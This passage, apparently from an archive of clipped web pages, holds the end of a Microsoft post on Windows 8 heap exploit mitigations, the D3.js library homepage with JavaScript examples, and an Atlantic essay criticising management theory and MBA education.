heap**.** This has the effect of preventing an attacker from reliably assuming
that an allocation containing a target object will be positioned after the
allocation that they are able to overflow**.** While an attacker may attempt
to increase the reliability of their attack by corrupting more data or
allocating more target objects, they run the risk of destabilizing the process
by corrupting other heap state or causing the process to terminate by
accessing a guard page as described in the previous section**.** This is a
good example of several mitigations working together: neither is foolproof on
its own, but combined they result in increasingly complex requirements for a
successful attack**.**

Although allocation order randomization helps make the internal layout of the
heap nondeterministic, there are limitations to how far it goes**.** First and
foremost, the performance of the Windows heap is critical as it is used as a
general purpose memory allocator by the vast majority of the applications that
run on Windows**.** As a side effect of this, allocation order randomization
is currently limited to randomizing allocations within individual LFH
subsegments \(which accounts for the majority of allocations made by
applications\)**.** This means backend allocations have no inherent entropy
and therefore may be subject to deterministic allocation patterns, as noted in
\[5\]**.** In addition to performance, there are also inherent limits to the
effectiveness of allocation order randomization**.** If an attacker can read
the contents of heap memory, they may be able to overcome the effects of
randomization**.** Similarly, allocation order randomization is not designed
to strongly mitigate heap vulnerabilities that are related to object lifetime
issues, such as use after free vulnerabilities**.** This is because an
attacker will generally be able to allocate a sufficient number of replacement
objects to overcome the effects of allocation order randomization**.** We’ll
discuss some other mitigations that are targeted at addressing use after free
issues, which are increasingly preferred by exploit writers , later in this
series**.**

# Conclusion****

The hardening changes that have been made to the Windows heap manager in
Windows 8 and Windows 8**.** 1 have been designed to make it more difficult
and costly to exploit heap corruption vulnerabilities**.** This has been
accomplished by adding additional integrity checks to metadata that is used by
the heap, by protecting application data stored on the heap through the use of
guard pages, and by randomizing the order of allocations**.** These
mitigations do not make heap corruption vulnerabilities impossible to exploit,
but they do have an impact on the time it takes to develop an exploit and how
reliable an exploit will be**.** Both of these factors play a role in
determining whether or not an attacker will develop an exploit for a
vulnerability**.** With that being said, the fact that heap corruption
vulnerabilities are the most common vulnerability class that we address
through security updates means it is likely that we will continue to see
additional research into new exploitation techniques for heap vulnerabilities
in the future**.** As such, we will continue to look for ways to harden the
Windows heap to further increase the difficulty of developing reliable
exploits for heap corruption vulnerabilities**.**

\- Matt Miller

# References****

\[1\] Ben Hawkes**.** Attacking the Vista Heap. Black Hat USA. Aug, 2008**.**

\[2\] Ben Hawkes. Attacking the Vista Heap**.** Ruxcon. Nov, 2008**.**

\[3\] Chris Valasek. Modern Heap Exploitation using the Low Fragmentation
Heap**.** SyScan Taipei. Nov, 2011**.**

\[4\] Chris Valasek. Windows 8 Heap Internals**.** Black Hat USA. Aug,
2012**.**

\[5\] Zhenhua Liu. Advanced Heap Manipulation in Windows 8**.** Black Hat
Europe, Mar, 2013.

****

# D3.js - Data-Driven Documents

**Created:**| _5/2/2013 9:22:20 AM_  
---|---  
**Updated:**| _5/2/2013 9:22:20 AM_  
**Author:**| __  
**Tags:**| _visualization JavaScript browser_  
  

‍ **Overview** Examples Documentation Source

# Data-Driven Documents

<img src='img/Temp2_1776.png' /><img src='img/Temp2_1780.png' /><img
src='img/Temp2_1777.png' /><img src='img/Temp2_1775.png' /><img
src='img/Temp2_1778.png' /><img src='img/Temp2_1782.png' /><img
src='img/Temp2_1779.png' /><img src='img/Temp2_1781.png' />

See more examples.

**D3.js** is a JavaScript library for manipulating documents based on data.
**D3** helps you bring data to life using HTML, SVG and CSS. D3’s emphasis on
web standards gives you the full capabilities of modern browsers without tying
yourself to a proprietary framework, combining powerful visualization
components and a data-driven approach to DOM manipulation.

Download the latest version here:

  * d3.v3.zip

Or, to link directly to the latest release, copy this snippet:

[code]

    <script src="http://d3js.org/d3.v3.min.js" charset="utf-8"> </script>
[/code]

The full source and tests are also available for download on GitHub.

## \#Introduction

Read more tutorials.

**D3** allows you to bind arbitrary data to a Document Object Model \(DOM\),
and then apply data-driven transformations to the document. For example, you
can use D3 to generate an HTML table from an array of numbers. Or, use the
same data to create an interactive SVG bar chart with smooth transitions and
interaction.

D3 is not a monolithic framework that seeks to provide every conceivable
feature. Instead, D3 solves the crux of the problem: efficient manipulation of
documents based on data. This avoids proprietary representation and affords
extraordinary flexibility, exposing the full capabilities of web standards
such as CSS3, HTML5 and SVG. With minimal overhead, D3 is extremely fast,
supporting large datasets and dynamic behaviors for interaction and animation.
D3’s functional style allows code reuse through a diverse collection of
components and plugins.

## \#Selections

Read more about selections.

Modifying documents using the W3C DOM API is tedious: the method names are
verbose, and the imperative approach requires manual iteration and bookkeeping
of temporary state. For example, to change the text color of paragraph
elements:

[code]

    var paragraphs = document.getElementsByTagName("p");
    for (var i = 0; i < paragraphs.length; i++) {
      var paragraph = paragraphs.item(i);
      paragraph.style.setProperty("color", "white", null);
    }
[/code]

D3 employs a declarative approach, operating on arbitrary sets of nodes called
_selections_. For example, you can rewrite the above loop as:

[code]

    d3.selectAll("p").style("color", "white");
[/code]

Yet, you can still manipulate individual nodes as needed:

[code]

    d3.select("body").style("background-color", "black");
[/code]

Selectors are defined by the W3C Selectors API and supported natively by
modern browsers. Backwards-compatibility for older browsers can be provided by
Sizzle. The above examples select nodes by tag name \(`"p"` and `"body"`,
respectively\). Elements may be selected using a variety of predicates,
including containment, attribute values, class and ID.

D3 provides numerous methods for mutating nodes: setting attributes or styles;
registering event listeners; adding, removing or sorting nodes; and changing
HTML or text content. These suffice for the vast majority of needs. Direct
access to the underlying DOM is also possible, as each D3 selection is simply
an array of nodes.

## \#Dynamic Properties

Readers familiar with other DOM frameworks such as jQuery or Prototype should
immediately recognize similarities with D3. Yet styles, attributes, and other
properties can be specified as _functions of data_ in D3, not just simple
constants. Despite their apparent simplicity, these functions can be
surprisingly powerful; the `d3.geo.path` function, for example, projects
geographic coordinates into SVG path data. D3 provides many built-in reusable
functions and function factories, such as graphical primitives for area, line
and pie charts.

For example, to randomly color paragraphs:

[code]

    d3.selectAll("p").style("color", function() {
      return "hsl(" + Math.random() * 360 + ",100%,50%)";
    });
[/code]

To alternate shades of gray for even and odd nodes:

[code]

    d3.selectAll("p").style("color", function(d, i) {
      return i % 2 ? "#fff" : "#eee";
    });
[/code]

Computed properties often refer to bound data. Data is specified as an array
of values, and each value is passed as the first argument \(`d`\) to selection
functions. With the default join-by-index, the first element in the data array
is passed to the first node in the selection, the second element to the second
node, and so on. For example, if you bind an array of numbers to paragraph
elements, you can use these numbers to compute dynamic font sizes:

[code]

    d3.selectAll("p")
        .data([4, 8, 15, 16, 23, 42])
        .style("font-size", function(d) { return d + "px"; });
[/code]

Once the data has been bound to the document, you can omit the `data`
operator; D3 will retrieve the previously-bound data. This allows you to
recompute properties without rebinding.

## \#Enter and Exit

Read more about data joins.

Using D3’s _enter_ and _exit_ selections, you can create new nodes for
incoming data and remove outgoing nodes that are no longer needed.

When data is bound to a selection, each element in the data array is paired
with the corresponding node in the selection. If there are fewer nodes than
data, the extra data elements form the enter selection, which you can
instantiate by appending to the `enter` selection. For example:

[code]

    d3.select("body").selectAll("p")
        .data([4, 8, 15, 16, 23, 42])
      .enter().append("p")
        .text(function(d) { return "I’m number " + d + "!"; });
[/code]

Updating nodes are the default selection—the result of the `data` operator.
Thus, if you forget about the enter and exit selections, you will
automatically select only the elements for which there exists corresponding
data. A common pattern is to break the initial selection into three parts: the
updating nodes to modify, the entering nodes to add, and the exiting nodes to
remove.

[code]

    // Update…
    var p = d3.select("body").selectAll("p")
        .data([4, 8, 15, 16, 23, 42])
        .text(String);
    
    // Enter…
    p.enter().append("p")
        .text(String);
    
    // Exit…
    p.exit().remove();
[/code]

By handling these three cases separately, you specify precisely which
operations run on which nodes. This improves performance and offers greater
control over transitions. For example, with a bar chart you might initialize
entering bars using the old scale, and then transition entering bars to the
new scale along with the updating and exiting bars.

D3 lets you transform documents based on data; this includes both creating and
destroying elements. D3 allows you to change an existing document in response
to user interaction, animation over time, or even asynchronous notification
from a third-party. A hybrid approach is even possible, where the document is
initially rendered on the server, and updated on the client via D3.

## \#Transformation, not Representation

D3 is not a new graphical representation. Unlike Processing, Raphaël, or
Protovis, the vocabulary of marks comes directly from web standards: HTML, SVG
and CSS. For example, you can create SVG elements using D3 and style them with
external stylesheets. You can use composite filter effects, dashed strokes and
clipping. If browser vendors introduce new features tomorrow, you’ll be able
to use them immediately—no toolkit update required. And, if you decide in the
future to use a toolkit other than D3, you can take your knowledge of
standards with you\!

Best of all, D3 is easy to debug using the browser’s built-in element
inspector: the nodes that you manipulate with D3 are exactly those that the
browser understands natively.

## \#Transitions

D3’s focus on transformation extends naturally to animated transitions.
Transitions gradually interpolate styles and attributes over time. Tweening
can be controlled via easing functions such as “elastic”, “cubic-in-out” and
“linear”. D3’s interpolators support both primitives, such as numbers and
numbers embedded within strings \(font sizes, path data, _etc._\), and
compound values. You can even extend D3’s interpolator registry to support
complex properties and data structures.

For example, to fade the background of the page to black:

[code]

    d3.select("body").transition()
        .style("background-color", "black");
[/code]

Or, to resize circles in a symbol map with a staggered delay:

[code]

    d3.selectAll("circle").transition()
        .duration(750)
        .delay(function(d, i) { return i * 10; })
        .attr("r", function(d) { return Math.sqrt(d * scale); });
[/code]

By modifying only the attributes that actually change, D3 reduces overhead and
allows greater graphical complexity at high frame rates. D3 also allows
sequencing of complex transitions via events. And, you can still use CSS3
transitions; D3 does not replace the browser’s toolbox, but exposes it in a
way that is easier to use.

Want to learn more? Read these tutorials.

Released under BSD license.

Copyright 2012 Michael Bostock

# The Management Myth

**Created:**| _6/19/2016 11:15:18 PM_  
---|---  
**Updated:**| _6/19/2016 11:16:19 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# The Management Myth

Most of management theory is inane, writes our correspondent, the founder of a
consulting firm. If you want to succeed in business, don’t get an M.B.A. Study
philosophy instead

You can help shape The Atlantic’s future—and it’ll only take you 10-15
minutes. Tell us what you think in our 2016 Atlantic Audience Survey.

During the seven years that I worked as a management consultant, I spent a lot
of time trying to look older than I was. I became pretty good at furrowing my
brow and putting on somber expressions. Those who saw through my disguise
assumed I made up for my youth with a fabulous education in management. They
were wrong about that. I don’t have an M.B.A. I have a doctoral degree in
philosophy—nineteenth-century German philosophy, to be precise. Before I took
a job telling managers of large corporations things that they arguably should
have known already, my work experience was limited to part-time gigs tutoring
surly undergraduates in the ways of Hegel and Nietzsche and to a handful of
summer jobs, mostly in the less appetizing ends of the fast-food industry.

The strange thing about my utter lack of education in management was that it
didn’t seem to matter. As a principal and founding partner of a consulting
firm that eventually grew to 600 employees, I interviewed, hired, and worked
alongside hundreds of business-school graduates, and the impression I formed
of the M.B.A. experience was that it involved taking two years out of your
life and going deeply into debt, all for the sake of learning how to keep a
straight face while using phrases like “out-of-the-box thinking,” “win-win
situation,” and “core competencies.” When it came to picking teammates, I
generally held out higher hopes for those individuals who had used their
university years to learn about something other than business administration.

After I left the consulting business, in a reversal of the usual order of
things, I decided to check out the management literature. Partly, I wanted to
“process” my own experience and find out what I had missed in skipping
business school. Partly, I had a lot of time on my hands. As I plowed through
tomes on competitive strategy, business process re-engineering, and the like,
not once did I catch myself thinking, _Damn\! If only I had known this
sooner\!_ Instead, I found myself thinking things I never thought I’d think,
like, _I’d rather be reading Heidegger\!_ It was a disturbing experience. It
thickened the mystery around the question that had nagged me from the start of
my business career: Why does management education exist?

Management theory came to life in 1899 with a simple question: “How many tons
of pig iron bars can a worker load onto a rail car in the course of a working
day?” The man behind this question was Frederick Winslow Taylor, the author of
The _Principles of Scientific Management_ and, by most accounts, the founding
father of the whole management business.

Taylor was forty-three years old and on contract with the Bethlehem Steel
Company when the pig iron question hit him. Staring out over an industrial
yard that covered several square miles of the Pennsylvania landscape, he
watched as laborers loaded ninety-two-pound bars onto rail cars. There were
80,000 tons’ worth of iron bars, which were to be carted off as fast as
possible to meet new demand sparked by the Spanish-American War. Taylor
narrowed his eyes: there was waste there, he was certain. After hastily
reviewing the books at company headquarters, he estimated that the men were
currently loading iron at the rate of twelve and a half tons per man per day.

Taylor stormed down to the yard with his assistants \(“college men,” he called
them\) and rounded up a group of top-notch lifters \(“first-class men”\), who
in this case happened to be ten “large, powerful Hungarians.” He offered to
double the workers’ wages in exchange for their participation in an
experiment. The Hungarians, eager to impress their apparent benefactor, put on
a spirited show. Huffing up and down the rail car ramps, they loaded sixteen
and a half tons in something under fourteen minutes. Taylor did the math: over
a ten-hour day, it worked out to seventy-five tons per day per man. Naturally,
he had to allow time for bathroom breaks, lunch, and rest periods, so he
adjusted the figure approximately 40 percent downward. Henceforth, each
laborer in the yard was assigned to load forty-seven and a half pig tons per
day, with bonus pay for reaching the target and penalties for failing.

When the Hungarians realized that they were being asked to quadruple their
previous daily workload, they howled and refused to work. So Taylor found a
“high-priced man,” a lean Pennsylvania Dutchman whose intelligence he compared
to that of an ox. Lured by the promise of a 60 percent increase in wages, from
$1.15 to a whopping $1.85 a day, Taylor’s high-priced man loaded forty-five
and three-quarters tons over the course of a grueling day—close enough, in
Taylor’s mind, to count as the first victory for the methods of modern
management.

Taylor went on to tackle the noble science of shoveling and a host of other
topics of concern to his industrial clients. He declared that his new and
unusual approach to solving business problems amounted to a “complete mental
revolution.” Eventually, at the urging of his disciples, he called his method
“scientific management.” Thus was born the idea that management is a science—a
body of knowledge collected and nurtured by experts according to neutral,
objective, and universal standards.

At the same moment was born the notion that management is a distinct function
best handled by a distinct group of people—people characterized by a
particular kind of education, way of speaking, and fashion sensibility.
Taylor, who favored a manly kind of prose, expressed it best in passages like
this:

> … the science of handling pig iron is so great and amounts to so much that
> it is impossible for the man who is best suited to this type of work to
> understand the principles of this science, or even to work in accordance
> with these principles, without the aid of a man better educated than he is.
From a metaphysical perspective, one could say that Taylor was a “dualist”:
there is brain, there is brawn, and the two, he believed, very rarely meet.

Taylor went around the country repeating his pig iron story and other tales
from his days in the yard, and these narratives formed something like a set of
scriptures for a new and highly motivated cult of management experts. This
vanguard ultimately vaulted into the citadel of the Establishment with the
creation of business schools. In the spring of 1908, Taylor met with several
Harvard professors, and later that year Harvard opened the first graduate
school in the country to offer a master’s degree in business. It based its
first-year curriculum on Taylor’s scientific management. From 1909 to 1914,
Taylor visited Cambridge every winter to deliver a series of
lectures—inspirational discourses marred only by the habit he’d picked up on
the shop floor of swearing at inappropriate moments.

Yet even as Taylor’s idea of management began to catch on, a number of flaws
in his approach were evident. The first thing many observers noted about
scientific management was that there was almost no science to it. The most
significant variable in Taylor’s pig iron calculation was the 40 percent
“adjustment” he made in extrapolating from a fourteen-minute sample to a full
workday. Why time a bunch of Hungarians down to the second if you’re going to
daub the results with such a great blob of fudge? When he was grilled before
Congress on the matter, Taylor casually mentioned that in other experiments
these “adjustments” ranged from 20 percent to 225 percent. He defended these
unsightly “wags” \(wild-ass guesses, in M.B.A.-speak\) as the product of his
“judgment” and “experience”—but, of course, the whole point of scientific
management was to eliminate the reliance on such inscrutable variables.

One of the distinguishing features of anything that aspires to the name of
science is the reproducibility of experimental results. Yet Taylor never
published the data on which his pig iron or other conclusions were based. When
Carl Barth, one of his devotees, took over the work at Bethlehem Steel, he
found Taylor’s data to be unusable. Another, even more fundamental feature of
science—here I invoke the ghost of Karl Popper—is that it must produce
falsifiable propositions. Insofar as Taylor limited his concern to prosaic
activities such as lifting bars onto rail cars, he did produce propositions
that were falsifiable—and, indeed, were often falsified. But whenever he
raised his sights to management in general, he seemed capable only of soaring
platitudes. At the end of the day his “method” amounted to a set of
exhortations: Think harder\! Work smarter\! Buy a stopwatch\!

The trouble with such claims isn’t that they are all wrong. It’s that they are
too true. When a congressman asked him if his methods were open to misuse,
Taylor replied, No. If management has the right state of mind, his methods
will always lead to the correct result. Unfortunately, Taylor was right about
that. Taylorism, like much of management theory to come, is at its core a
collection of quasi-religious dicta on the virtue of being good at what you
do, ensconced in a protective bubble of parables \(otherwise known as case
studies\).

Curiously, Taylor and his college men often appeared to float free from the
kind of accountability that they demanded from everybody else. Others might
have been asked, for example: Did Bethlehem’s profits increase as a result of
their work? Taylor, however, rarely addressed the question head-on. With good
reason. Bethlehem fired him in 1901 and threw out his various systems. Yet
this evident vacuum of concrete results did not stop Taylor from repeating his
parables as he preached the doctrine of efficiency to countless audiences
across the country.

In the management literature these days, Taylorism is presented, if at all, as
a chapter of ancient history, a weird episode about an odd man with a
stopwatch who appeared on the scene sometime after Columbus discovered the New
World. Over the past century Taylor’s successors have developed a powerful
battery of statistical methods and analytical approaches to business problems.
And yet the world of management remains deeply Taylorist in its foundations.

At its best, management theory is part of the democratic promise of America.
It aims to replace the despotism of the old bosses with the rule of scientific
law. It offers economic power to all who have the talent and energy to attain
it. The managerial revolution must be counted as part of the great widening of
economic opportunity that has contributed so much to our prosperity. But,
insofar as it pretends to a kind of esoteric certitude to which it is not
entitled, management theory betrays the ideals on which it was founded.

That Taylorism and its modern variants are often just a way of putting labor
in its place need hardly be stated: from the Hungarians’ point of view, the
pig iron experiment was an infuriatingly obtuse way of demanding more work for
less pay. That management theory represents a covert assault on capital,
however, is equally true. \(The Soviet five-year planning process took its
inspiration directly from one of Taylor’s more ardent followers, the engineer
H. L. Gantt.\) Much of management theory today is in fact the consecration of
class interest—not of the capitalist class, nor of labor, but of a new social
group: the management class.

I can confirm on the basis of personal experience that management consulting
continues to worship at the shrine of numerology where Taylor made his first
offering of blobs of fudge. In many of my own projects, I found myself
compelled to pacify recalcitrant data with entirely confected numbers. But I
cede the place of honor to a certain colleague, a gruff and street-smart
Belgian whose hobby was to amass hunting trophies. The huntsman achieved some
celebrity for having invented a new mathematical technique dubbed “the Two-
Handed Regression.” When the data on the correlation between two variables
revealed only a shapeless cloud—even though we knew damn well there had to be
a correlation—he would simply place a pair of meaty hands on the offending
bits of the cloud and reveal the straight line hiding from conventional
mathematics.

The thing that makes modern management theory so painful to read isn’t usually
the dearth of reliable empirical data. It’s that maddening papal
infallibility. Oh sure, there are a few pearls of insight, and one or two
stories about hero-CEOs that can hook you like bad popcorn. But the rest is
just inane. Those who looked for the true meaning of “business process re-
engineering,” the most overtly Taylorist of recent management fads, were
ultimately rewarded with such gems of vacuity as “BPR is taking a blank sheet
of paper to your business\!” and “BPR means re-thinking everything,
everything\!”

Each new fad calls attention to one virtue or another—first it’s efficiency,
then quality, next it’s customer satisfaction, then supplier satisfaction,
then self-satisfaction, and finally, at some point, it’s efficiency all over
again. If it’s reminiscent of the kind of toothless wisdom offered in self-
help literature, that’s because management theory is mostly a subgenre of
self-help. Which isn’t to say it’s completely useless. But just as most people
are able to lead fulfilling lives without consulting Deepak Chopra, most
managers can probably spare themselves an education in management theory.

The world of management theorists remains exempt from accountability. In my
experience, for what it’s worth, consultants monitored the progress of former
clients about as diligently as they checked up on ex-spouses \(of which there
were many\). Unless there was some hope of renewing the relationship \(or
dating a sister company\), it was _Hasta la vista_ , baby. And why should they
have cared? Consultants’ recommendations have the same semantic properties as
campaign promises: it’s almost freakish if they are remembered in the
following year.

In one episode, when I got involved in winding up the failed subsidiary of a
large European bank, I noticed on the expense ledger that a rival consulting
firm had racked up $5 million in fees from the same subsidiary. “They were
supposed to save the business,” said one client manager, rolling his eyes.
“Actually,” he corrected himself, “they were supposed to keep the illusion
going long enough for the boss to find a new job.” Was my competitor held to
account for failing to turn around the business and/or violating the rock-
solid ethical standards of consulting firms? On the contrary, it was ringing
up even higher fees over in another wing of the same organization.

And so was I. In fact, we kind of liked failing businesses: there was usually
plenty of money to be made in propping them up before they finally went under.
After Enron, true enough, Arthur Andersen sank. But what happened to such
stalwarts as McKinsey, which generated millions in fees from Enron and
supplied it with its CEO? The Enron story wasn’t just about bad deeds or false
accounts; it was about confusing sound business practices with faddish
management ideas, celebrated with gusto by the leading lights of the
management world all the way to the end of the party.

If you believed our chief of recruiting, the consulting firm I helped to found
represented a complete revolution from the Taylorist practices of conventional
organizations. Our firm wasn’t about bureaucratic control and robotic
efficiency in the pursuit of profit. It was about love.

We were very much of the moment. In the 1990s, the gurus were unanimous in
their conviction that the world was about to bring forth an entirely new mode
of human cooperation, which they identified variously as the “information-
based organization,” the “intellectual holding company,” the “learning
organization,” and the “perpetually creative organization.” “R-I-P. Rip,
shred, tear, mutilate, destroy that hierarchy,” said über-guru Tom Peters,
with characteristic understatement. The “end of bureaucracy” is nigh, wrote
Gifford Pinchot of “intrapreneuring” fame. According to all the experts, the
enemy of the “new” organization was lurking in every episode of _Leave It to
Beaver_.

Many good things can be said about the “new” organization of the 1990s. And
who would want to take a stand against creativity, freedom, empowerment,
and—yes, let’s call it by its name—love? One thing that cannot be said of the
“new” organization, however, is that it is new.

In 1983, a Harvard Business School professor, Rosabeth Moss Kanter, beat the
would-be revolutionaries of the nineties to the punch when she argued that
rigid “segmentalist” corporate bureaucracies were in the process of giving way
to new “integrative” organizations, which were “informal” and “change-
oriented.” But Kanter was just summarizing a view that had currency at least
as early as 1961, when Tom Burns and G. M. Stalker published an influential
book criticizing the old, “mechanistic” organization and championing the new,
“organic” one. In language that eerily anticipated many a dot-com prospectus,
they described how innovative firms benefited from “lateral” versus “vertical”
information flows, the use of “ad hoc” centers of coordination, and the
continuous redefinition of jobs. The “flat” organization was first explicitly
celebrated by James C. Worthy, in his study of Sears in the 1940s, and W. B.
Given coined the term “bottom-up management” in 1949. And then there was Mary
Parker Follett, who in the 1920s attacked “departmentalized” thinking, praised
change-oriented and informal structures, and—Rosabeth Moss Kanter fans please
take note—advocated the “integrative” organization.

If there was a defining moment in this long and strangely forgetful tradition
of “humanist” organization theory—a single case that best explains the meaning
of the infinitely repeating whole—it was arguably the work of Professor Elton
Mayo of the Harvard Business School in the 1920s. Mayo, an Australian, was
everything Taylor was not: sophisticated, educated at the finest institutions,
a little distant and effete, and perhaps too familiar with Freudian
psychoanalysis for his own good.

A researcher named Homer Hibarger had been testing theories about the effect
of workplace illumination on worker productivity. His work, not surprisingly,
had been sponsored by a maker of electric lightbulbs. While a group of female
workers assembled telephone relays and receiver coils, Homer turned the lights
up. Productivity went up. Then he turned the lights down. Productivity still
went up\! Puzzled, Homer tried a new series of interventions. First, he told
the “girls” that they would be entitled to two five-minute breaks every day.
Productivity went up. Next it was six breaks a day. Productivity went up
again. Then he let them leave an hour early every day. Up again. Free lunches
and refreshments. Up\! Then Homer cut the breaks, reinstated the old workday,
and scrapped the free food. But productivity barely dipped at all.

Mayo, who was brought in to make sense of this, was exultant. His theory: the
various interventions in workplace routine were as nothing compared with the
new interpersonal dynamics generated by the experimental situation itself.
“What actually happened,” he wrote, “was that six individuals became a team
and the team gave itself wholeheartedly and spontaneously to cooperation …
They felt themselves to be participating, freely and without afterthought, and
were happy in the knowledge that they were working without coercion.” The
lessons Mayo drew from the experiment are in fact indistinguishable from those
championed by the gurus of the nineties: vertical hierarchies based on
concepts of rationality and control are bad; flat organizations based on
freedom, teamwork, and fluid job definitions are good.

On further scrutiny, however, it turned out that two workers who were deemed
early on to be “uncooperative” had been replaced with friendlier women. Even
more disturbing, these exceptionally cooperative individuals earned
significantly higher wages for their participation in the experiment. Later,
in response to his critics, Mayo insisted that something so crude as financial
incentives could not possibly explain the miracles he witnessed. That didn’t
make his method any more “scientific.”

Mayo’s work sheds light on the dark side of the “humanist” tradition in
management theory. There is something undeniably creepy about a clipboard-
bearing man hovering around a group of factory women, flicking the lights on
and off and dishing out candy bars. All of that humanity—as anyone in my old
firm could have told you—was just a more subtle form of bureaucratic control.
It was a way of harnessing the workers’ sense of identity and well-being to
the goals of the organization, an effort to get each worker to participate in
an ever more refined form of her own enslavement.

So why is Mayo’s message constantly recycled and presented as something
radically new and liberating? Why does every new management theorist seem to
want to outdo Chairman Mao in calling for perpetual havoc on the old order?
Very simply, because all economic organizations involve at least some degree
of power, and power always pisses people off. That is the human condition. At
the end of the day, it isn’t a new world order that the management theorists
are after; it’s the sensation of the revolutionary moment. They long for that
exhilarating instant when they’re fighting the good fight and imagining a
future utopia. What happens after the revolution—civil war and Stalinism being
good bets—could not be of less concern.

Between them, Taylor and Mayo carved up the world of management theory.
According to my scientific sampling, you can save yourself from reading about
99 percent of all the management literature once you master this dialectic
between rationalists and humanists. The Taylorite rationalist says: Be
efficient\! The Mayo-ist humanist replies: Hey, these are people we’re talking
about\! And the debate goes on. Ultimately, it’s just another installment in
the ongoing saga of reason and passion, of the individual and the group.

The tragedy, for those who value their reading time, is that Rousseau and
Shakespeare said it all much, much better. In the 5,200 years since the
Sumerians first etched their pictograms on clay tablets, come to think of it,
human beings have produced an astonishing wealth of creative expression on the
topics of reason, passion, and living with other people. In books, poems,
plays, music, works of art, and plain old graffiti, they have explored what it
means to struggle against adversity, to apply their extraordinary faculty of
reason to the world, and to confront the naked truth about what motivates
their fellow human animals. These works are every bit as relevant to the
dilemmas faced by managers in their quest to make the world a more productive
place as any of the management literature.

In the case of my old firm, incidentally, the endgame was civil war. Those who
talked loudest about the ideals of the “new” organization, as it turned out,
had the least love in their hearts. By a strange twist of fate, I owe the
long- evity of my own consulting career to this circumstance. When I first
announced my intention to withdraw from the firm in order to pursue my
vocation as an unpublishable philosopher at large, my partners let me know
that they would gladly regard my investment in the firm as a selfless
contribution to their financial well-being. By the time I managed to extricate
myself from their loving embrace, nearly three years later, the partnership
had for other reasons descended into the kind of Hobbesian war of all against
all from which only the lawyers emerge smiling. The firm was temporarily
rescued by a dot-com company, but within a year both the savior and the saved
collapsed in a richly deserved bankruptcy. Of course, your experience in a
“new” organization may be different.

My colleagues usually spoke fondly of their years at business school. Most
made great friends there, and quite a few found love. All were certain that
their degree was useful in advancing their careers. But what does an M.B.A. do
for you that a doctorate in philosophy can’t do better?

The first point to note is that management education confers some benefits
that have little to do with either management or education. Like an elaborate
tattoo on an aboriginal warrior, an M.B.A. is a way of signaling just how
deeply and irrevocably committed you are to a career in management. The degree
also provides a tidy hoard of what sociologists call “social capital”—or what
the rest of us, notwithstanding the invention of the PalmPilot, call a
“Rolodex.”

For companies, M.B.A. programs can be a way to outsource recruiting. Marvin
Bower, McKinsey’s managing director from 1950 to 1967, was the first to
understand this fact, and he built a legendary company around it. Through
careful cultivation of the deans and judicious philanthropy, Bower secured a
quasi-monopoly on Baker Scholars \(the handful of top students at the Harvard
Business School\). Bower was not so foolish as to imagine that these scholars
were of interest on account of the education they received. Rather, they were
valuable because they were among the smartest, most ambitious, and best-
connected individuals of their generation. Harvard had done him the favor of
scouring the landscape, attracting and screening vast numbers of applicants,
further testing those who matriculated, and then serving up the best and the
brightest for Bower’s delectation.

Of course, management education does involve the transfer of weighty bodies of
technical knowledge that have accumulated since Taylor first put the
management-industrial complex in motion—accounting, statistical analysis,
decision modeling, and so forth—and these can prove quite useful to students,
depending on their career trajectories. But the “value-add” here is far more
limited than Mom or Dad tend to think. In most managerial jobs, almost
everything you need to know to succeed must be learned on the job; for the
rest, you should consider whether it might have been acquired with less time
and at less expense.

The best business schools will tell you that management education is mainly
about building skills—one of the most important of which is the ability to
think \(or what the M.B.A.s call “problem solving”\). But do they manage to
teach such skills?

I once sat through a presentation in which a consultant, a Harvard M.B.A.,
showed a client, the manager of a large financial institution in a developing
country, how the client company’s “competitive advantage” could be analyzed in
terms of “the five forces.” He even used a graphic borrowed directly from
guru-of-the-moment Michael Porter’s best- selling work on “competitive
strategy.” Not for the first time, I was embarrassed to call myself a
consultant. As it happens, the client, too, had a Harvard M.B.A. “No,” he
said, shaking his head with feigned chagrin. “There are only three forces in
this case. And two of them are in the Finance Ministry.”

What they don’t seem to teach you in business school is that “the five forces”
and “the seven Cs” and every other generic framework for problem solving are
heuristics: they can lead you to solutions, but they cannot make you think.
Case studies may provide an effective way to think business problems through,
but the point is rather lost if students come away imagining that you can go
home once you’ve put all of your eggs into a two-by-two growth-share matrix.

Next to analysis, communication skills must count among the most important for
future masters of the universe. To their credit, business schools do stress
these skills, and force their students to engage in make-believe presentations
to one another. On the whole, however, management education has been less than
a boon for those who value free and meaningful speech. M.B.A.s have taken
obfuscatory jargon—otherwise known as bullshit—to a level that would have made
even the Scholastics blanch. As students of philosophy know, Descartes
dismantled the edifice of medieval thought by writing clearly and showing that
knowledge, by its nature, is intelligible, not obscure.

Beyond building skills, business training must be about values. As I write
this, I know that my M.B.A. friends are squirming in their seats. They’ve all
been forced to sit through an “ethics” course, in which they learned to toss
around yet more fancy phrases like “the categorical imperative” and discuss
borderline criminal behavior, such as what’s a legitimate hotel bill and
what’s just plain stealing from the expense account, how to tell the
difference between a pat on the shoulder and sexual harassment, and so on.
But, as anyone who has studied Aristotle will know, “values” aren’t something
you bump into from time to time during the course of a business career. All of
business is about values, all of the time. Notwithstanding the ostentatious
use of stopwatches, Taylor’s pig iron case was not a _description_ of some
aspect of physical reality—how many tons _can_ a worker lift? It was a
_prescription_ —how many tons _should_ a worker lift? The real issue at stake
in Mayo’s telephone factory was not _factual_ —how can we best establish a
sense of teamwork? It was _moral_ —how much of a worker’s sense of identity
and well-being does a business have a right to harness for its purposes?

The recognition that management theory is a sadly neglected subdiscipline of
philosophy began with an experience of déjà vu. As I plowed through my
shelfload of bad management books, I beheld a discipline that consists mainly
of unverifiable propositions and cryptic anecdotes, is rarely if ever held
accountable, and produces an inordinate number of catastrophically bad
writers. It was all too familiar. There are, however, at least two crucial
differences between philosophers and their wayward cousins. The first and most
important is that philosophers are much better at knowing what they don’t
know. The second is money. In a sense, management theory is what happens to
philosophers when you pay them too much.

The idea that philosophy is an inherently academic pursuit is a recent and
diabolical invention. Epicurus, Descartes, Spinoza, Locke, Hume, Nietzsche,
and most of the other great philosophers of history were not professors of
philosophy. If any were to come to life and witness what has happened to their
discipline, I think they’d run for the hills. Still, you go to war with the
philosophers you have, as they say, not the ones in the hills. And since I’m
counting on them to seize the commanding heights of the global economy, let me
indulge in some management advice for today’s academic philosophers:

■**Expand the domain of your analysis\!** Why so many studies of Wittgenstein
and none of Taylor, the man who invented the social class that now rules the
world?

■**Hire people with greater diversity of experience\!** And no, that does not
mean taking someone from the University of Hawaii. You are building a
network—a team of like-minded individuals who together can change the world.

